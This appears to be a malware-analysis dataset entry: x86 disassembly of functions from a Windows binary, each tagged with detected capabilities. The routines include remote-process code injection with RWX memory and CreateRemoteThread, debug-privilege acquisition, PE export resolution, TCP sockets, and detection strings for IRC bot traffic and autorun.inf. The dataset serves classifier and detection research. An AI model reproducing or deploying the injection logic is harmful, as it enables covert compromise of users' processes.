joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18c2a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor esi, esi
push eax
xor edi, edi
mov dword [ebp - 8], esi
call sub.WS2_32.dll_htons
movzx ecx, ax
xor eax, eax
xor edx, edx
push 0x44
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edi
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], ax
call fcn.018c2460
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x18c2b5e
push 6
push 1
push 2
mov dword [ebx], 0xffffffff
mov dword [ebx + 4], edi
call sub.WS2_32.dll_socket
mov dword [ebx], eax
cmp eax, 0xffffffff
jne 0x18c2ab3
call sub.WS2_32.dll_WSAGetLastError
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.018c24a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push ecx
call fcn.018c2880
mov esi, dword [ebp - 4]
add esp, 8
cmp eax, 1
jne 0x18c2b22
mov edx, dword [esi + 4]
cmp dword [edx], edi
jbe 0x18c2b22
mov eax, 2
mov word [ebp - 0x1c], ax
mov ecx, dword [esi]
mov edx, dword [ecx + edi*4]
mov eax, dword [edx]
mov cx, word [ebp - 0xc]
push eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x1a], cx
call sub.WS2_32.dll_inet_ntoa
mov eax, dword [ebx]
push 0x10
lea edx, [ebp - 0x1c]
push edx
push eax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x18c2b1b
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
inc edi
cmp edi, dword [ecx]
jb 0x18c2ad2
jmp 0x18c2b22
mov dword [ebp - 8], 1
test esi, esi
je 0x18c2b57
mov edx, dword [esi + 4]
xor edi, edi
cmp dword [edx], edi
jbe 0x18c2b46
nop
mov eax, dword [esi]
mov ecx, dword [eax + edi*4]
push ecx
call fcn.018c24a0
mov edx, dword [esi + 4]
inc edi
add esp, 4
cmp edi, dword [edx]
jb 0x18c2b30
mov eax, dword [esi]
push eax
call fcn.018c24a0
push esi
call fcn.018c24a0
add esp, 8
mov esi, dword [ebp - 8]
test esi, esi
jne 0x18c2b70
push ebx
call fcn.018c24a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
pop edi
mov eax, esi
pop esi
mov dword [ecx], ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18c2de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
not eax
test ecx, ecx
je 0x18c2e0f
mov edx, dword [ebp + 0xc]
push esi
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x18d7668]
dec ecx
inc edx
test ecx, ecx
jne 0x18c2df3
pop esi
not eax
pop ebp
ret
Function at 0x18c36b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0x5a4d
push ebx
push edi
cmp word [esi], ax
jne 0x18c3732
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x18c3732
mov eax, dword [eax + 0x78]
mov ecx, dword [eax + esi + 0x1c]
mov edi, dword [eax + esi + 0x20]
add eax, esi
add ecx, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x14]
add ecx, esi
add edi, esi
xor ebx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
jbe 0x18c3732
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
add eax, esi
mov edi, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x18c3720
test dl, dl
je 0x18c371c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x18c3720
add ecx, 2
add eax, 2
test dl, dl
jne 0x18c3700
xor eax, eax
jmp 0x18c3725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x18c373a
inc ebx
add edi, 4
cmp ebx, dword [ebp - 4]
jb 0x18c36f7
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + ebx*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
add eax, esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18c3b90
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x18c3ba0
xor eax, eax
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp eax, 0x40
jle 0x18c3bad
mov eax, 0x40
push ebx
xor ebx, ebx
push esi
mov dword [edi], eax
test eax, eax
jbe 0x18c3c6c
lea eax, [edi + 0x244]
lea esi, [edi + 0x104]
mov dword [ebp + 8], eax
lea ebx, [ebx]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov dword [esi], eax
test eax, eax
je 0x18c3c76
push 0
push 0
push 0x10000
push 0x10000
push 0xff
push 0
push 0x40000001
lea edx, [edi + 0x744]
push edx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi - 0x100], eax
cmp eax, 0xffffffff
je 0x18c3c76
mov ecx, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18c3c76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
setne dl
inc dl
mov byte [ebx + edi + 0x204], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x18c3c5c
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
add dword [ebp + 8], 0x14
inc ebx
add esi, 4
cmp ebx, dword [edi]
jb 0x18c3bd0
pop esi
pop ebx
mov eax, 1
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret
Function at 0x18c4100
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x3c]
movzx eax, word [edi + ecx + 0x14]
add edi, ecx
xor edx, edx
xor ebx, ebx
lea esi, [eax + edi + 0x18]
cmp dx, word [edi + 6]
jae 0x18c415a
add esi, 0x10
test byte [esi + 0x14], 0x80
jne 0x18c4131
mov eax, dword [esi - 8]
cmp eax, dword [esi]
jbe 0x18c414e
mov eax, dword [esi]
mov edx, dword [esi - 8]
sub edx, eax
push edx
mov edx, dword [esi - 4]
add edx, eax
add edx, ecx
push 0
push edx
call fcn.018c35f0
mov ecx, dword [ebp + 8]
add esp, 0xc
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x18c4124
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x18c4160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x18f7bb0]
push ebx
push esi
push edi
push eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 4], 0
call fcn.018c4020
mov ecx, dword [ebp + 8]
add esp, 4
push 0x40
push 0x3000
push eax
push ebx
push ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x18c428f
mov edx, dword [0x18f7bb0]
push edx
lea ebx, [ebp - 4]
call fcn.018c4020
mov ebx, dword [ebp - 4]
add esp, 4
test ebx, ebx
je 0x18c4270
push ebx
call fcn.018c4100
mov edi, dword [ebp + 0xc]
mov eax, ebx
sub eax, dword [0x18f7bb0]
add esp, 4
mov dword [eax + 0x18f7bb0], esi
test edi, edi
je 0x18c420d
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x18c420a
mov edx, dword [esi + 4]
mov ecx, dword [esi + 8]
add edx, dword [0x18f7bb0]
mov eax, dword [esi]
push ecx
push edx
add eax, ebx
push eax
call fcn.018c3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x18c41e3
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x18c4241
mov esi, dword [ebp + 0x18]
test esi, esi
je 0x18c423e
mov eax, dword [esi]
mov ecx, dword [esi + 8]
sub eax, dword [0x18f7bb0]
mov edx, dword [esi + 4]
push ecx
push edx
add eax, ebx
push eax
call fcn.018c3640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x18c4217
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push edi
push ebx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18c4270
cmp edi, dword [ebp - 0x10]
jne 0x18c4270
push ebx
call fcn.018c37f0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
je 0x18c428f
push ebx
call fcn.018c37f0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c42e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.018c35e0
cmp dword [0x18f7ba4], eax
je 0x18c42f9
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call fcn.018c42a0
add esp, 4
test eax, eax
je 0x18c4318
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
test eax, eax
je 0x18c433a
push 0x40
push 0x3000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x18c439f
mov eax, dword [esi + 8]
test eax, eax
je 0x18c435e
mov edx, dword [esi + 4]
lea ecx, [ebp - 8]
push ecx
push eax
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18c439f
mov eax, dword [esi + 8]
cmp eax, dword [ebp - 8]
jne 0x18c439f
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
push ecx
mov ecx, dword [esi + 0xc]
push edx
push eax
push ecx
push ebx
call fcn.018c4160
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
je 0x18c439f
mov edx, dword [esi]
sub edx, dword [0x18f7bb0]
push 0
push 0
push edi
add edx, eax
push edx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x18c43d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test edi, edi
je 0x18c43ba
push 0x8000
push 0
push edi
push ebx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x18c43cc
push 0x8000
push 0
push eax
push ebx
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.018c37f0
mov eax, dword [ebp + 0x10]
add esp, 4
test eax, eax
je 0x18c43f4
mov dword [eax], esi
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c4ae0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x18c4b54
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x18c4b54
push 0xd10
push 0
push esi
mov dword [ebp + 8], 0
call fcn.018c35f0
push 0x104
lea eax, [esi + 0xc08]
push edi
push eax
call sub.MSVCRT.dll_strncpy
push edi
lea ecx, [ebp - 0x104]
push str._s_Mutex
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x24
lea edx, [ebp - 0x104]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi], eax
test eax, eax
jne 0x18c4b5c
push esi
call fcn.018c4880
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push str._s_0
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea ecx, [ebp - 0x104]
push ecx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0x18c4b9d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x18c4bb4
push 0x10
lea eax, [ebp + 8]
mov ecx, esi
call fcn.018c4560
add esp, 4
test eax, eax
je 0x18c4bd1
lea edi, [ebp + 8]
call fcn.018c4470
xor edi, edi
mov dword [esi + 0x804], eax
cmp eax, edi
jne 0x18c4bda
push esi
call fcn.018c4880
add esp, 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp ebx, edi
je 0x18c4c08
mov edx, dword [esi]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x18c4c08
mov eax, dword [esi + 0x804]
mov dword [eax + 8], edi
mov ecx, dword [esi + 0x804]
mov dword [ecx + 0xc], edi
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18c4d00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
call fcn.018c35e0
cmp dword [0x1909344], eax
jne 0x18c4d24
call fcn.018c35e0
mov eax, 1
mov esp, ebp
pop ebp
ret
call fcn.018c35e0
mov dword [0x1909344], eax
call fcn.018c3a20
test eax, eax
jne 0x18c4d3d
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x18f7d38
mov dword [0x18f7d38], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x18c4d37
push esi
call fcn.018c3f90
push 0xedb88320
call fcn.018c2d60
push 0x10000
push 0x18f8af8
push 0
push 0
push 0x18f7bc0
call fcn.018c3390
push 0x18f7bc0
push 0x18f8ae8
call fcn.018c6040
mov esi, dword [ebp + 8]
push esi
push 0x18f7dd8
call fcn.018c4ae0
push esi
push 0x1908af8
call fcn.018c3ac0
push 0x104
push esi
push 0x18f7c28
call sub.MSVCRT.dll_strncpy
add esp, 0x3c
lea eax, [ebp - 4]
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0x1b
call fcn.018c35d0
push eax
call dword [0x18d7a84]
pop esi
test eax, eax
jl 0x18c4e53
movzx edx, word [ebp - 0x802]
push edx
push 0x18f7bc0
call fcn.018c3440
mov cx, word [ebp - 0x804]
mov dx, word [ebp - 0x802]
mov word [0x18f7bb8], cx
movzx ecx, cx
mov word [0x18f7bba], dx
mov edx, dword [ebp - 0x800]
push ecx
push edx
push eax
mov dword [0x18f7bbc], eax
call fcn.018c3640
movzx eax, word [0x18f7bb8]
mov edx, dword [0x18f7bbc]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
movzx eax, word [0x18f7bb8]
mov ecx, dword [0x18f7bbc]
shr eax, 1
push eax
push ecx
call fcn.018c4cc0
add esp, 0x1c
mov dword [0x1909340], eax
call fcn.018c35e0
push str.NtGetNextProcess
push str.ntdll.dll
call fcn.018c3890
push eax
call fcn.018c3750
push 1
push str.SeDebugPrivilege
mov dword [0x18f7dd4], eax
call fcn.018c4c20
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x18c5220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
mov eax, 0x5a4d
push ebx
mov ebx, ecx
cmp word [ecx], ax
je 0x18c5240
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x18c5239
mov edx, 0x14c
cmp word [eax + 4], dx
jne 0x18c5239
mov eax, dword [eax + 0x80]
test eax, eax
je 0x18c52ee
cmp dword [eax + ecx + 0xc], 0
push esi
lea esi, [eax + ecx + 0xc]
je 0x18c52ed
push edi
mov eax, dword [esi]
add eax, ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.018c3670
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], ax
add esp, 4
xor ecx, ecx
lea eax, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
mov word [ebp - 8], cx
push eax
lea ecx, [ebp - 8]
mov edx, 0x104
push ecx
mov word [ebp - 6], dx
call dword [0x18d7a7c]
test eax, eax
jl 0x18c52e4
mov edx, dword [ebp - 0xc]
push edx
call fcn.018c3890
mov edi, eax
test edi, edi
je 0x18c52e4
mov eax, dword [0x1909348]
push edi
push eax
lea ecx, [ebp - 8]
call fcn.018c4e90
add esp, 8
test eax, eax
je 0x18c52e4
push edi
call fcn.018c5220
add esp, 4
add esi, 0x14
cmp dword [esi], 0
jne 0x18c5273
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c6870
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.018c6850
test eax, eax
jne 0x18c687c
xor eax, eax
ret
push 0x1909db0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x18c6879
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1909db0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x1909db0
ret

Function at 0x18c68b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 1
push 0x26
push 0x1909fb8
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x18c68c6
ret
push str.Internet_Explorer1explore.exe
push 0x1909fb8
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, 0x1909fb8
ret

Function at 0x18c6940
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
test esi, esi
je 0x18c6a31
test dword [ebp + 0xc], 0x40000000
je 0x18c6a31
push esi
call fcn.018c19f0
add esp, 4
test eax, eax
je 0x18c6a31
push str.autorun.inf
push eax
call fcn.018c39a0
add esp, 8
test eax, eax
jne 0x18c6a31
push str.pdef
call fcn.018c7700
add esp, 4
cmp eax, 1
jne 0x18c6a31
push 0x18d17f0
push 0x18d6fd0
mov edi, eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x18c6a31
push 0x190ad90
push 0x18d6ec8
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x18c6a31
push 0x80
push 0x18d6fd0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x18d6fd0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
push 0x18d6ec8
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test al, al
je 0x18c6a19
push 0x18d6ec8
push esi
push 0x190a850
push 0x18d652c
push str._s.Blocked___S__from_creating___S______s__will_be_removed_at_reboot_
call fcn.018ca310
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push 0x190a850
push 0x18d652c
push str._s.Blocked___S__from_creating___S_
call fcn.018ca310
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x18c6a40
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov eax, dword [0x190ae98]
add esp, 0xc
cmp eax, ebx
je 0x18c6a82
cmp dword [ebp + 8], eax
je 0x18c6ba2
push esi
mov esi, dword [ebp + 0x18]
cmp esi, 5
jb 0x18c6ba1
push str.pdef
call fcn.018c7700
add esp, 4
test eax, eax
je 0x18c6ba1
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push ecx
push str._s:_d
push 0x18d18cc
call fcn.018c73e0
add esp, 0x10
cmp eax, 1
je 0x18c6ba0
cmp edi, 0x19c8
jb 0x18c6adc
cmp edi, 0x1b58
jbe 0x18c6ba0
cmp esi, 0x200
ja 0x18c6ba0
cmp dword [str.PRIVMSG_], ebx
je 0x18c6ba0
mov edi, dword [ebp + 0x14]
mov esi, 0x18d5658
lea esp, [esp]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi]
push eax
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x18c6b84
push 4
push str.JOIN
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0x18c6b42
push 7
push 0x18d18bc
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x18c6b7d
lea ecx, [ebp - 0x110]
push ecx
push str.JOIN__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
je 0x18c6b76
lea edx, [ebp - 0x110]
push edx
push str.PRIVMSG__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
jne 0x18c6b7d
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
inc ebx
cmp dword [ebx*4 + 0x18d5658], 0
lea esi, [ebx*4 + 0x18d5658]
jne 0x18c6b00
cmp dword [ebp - 4], 0
ja 0x18c6baa
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
push esi
push edi
push str._s:_d
push str.block
call fcn.018c73e0
add esp, 0x10
test eax, eax
jne 0x18c6c1a
cmp dword [ebp - 8], 1
jne 0x18c6c01
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x18c6c01
lea ecx, [ebp - 0x110]
push ecx
push esi
push edi
push 0x190a850
push 0x18d652c
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d__Target:__s_.
call fcn.018ca310
add esp, 0x18
jmp 0x18c6c1a
push esi
push edi
push 0x190a850
push 0x18d652c
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d.
call fcn.018ca310
add esp, 0x14
mov eax, dword [0x190a3ec]
push 0x80
push 0x190a850
test eax, eax
je 0x18c6c31
call eax
jmp 0x18c6c37
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 4
push 0
push 0x190a850
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc]
push edx
call fcn.018c35d0
push eax
call fcn.018c6d90
mov eax, dword [ebp + 8]
add esp, 8
test eax, eax
jbe 0x18c6c65
push eax
call sub.WS2_32.dll_closesocket
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x18c7e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x103a
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 4], 1
test esi, esi
jne 0x18c7e44
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edi
push 0x10
push ecx
lea edi, [esi + 8]
push edi
mov dword [esi + 4], eax
call fcn.018c3640
add esp, 0xc
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0x18c7eb4
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0x18c7eb4
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call sub.WS2_32.dll_connect
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1020]
mov dword [esi], edx
mov eax, dword [eax]
mov dword [eax + 0x1020], esi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18c7f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0x18c804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x18c801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0x18c8109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0x18c80d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x18c8109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0x18c80b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0x18c8109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.018c3640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x18c8120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0x18c8174
push esi
push edi
call fcn.018c7f90
add esp, 8
test eax, eax
jne 0x18c816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.018c7ef0
add esp, 8
mov esi, eax
jmp 0x18c8170
mov esi, dword [esi]
test esi, esi
jne 0x18c8137
pop edi
pop esi
mov esp, ebp
pop ebp
ret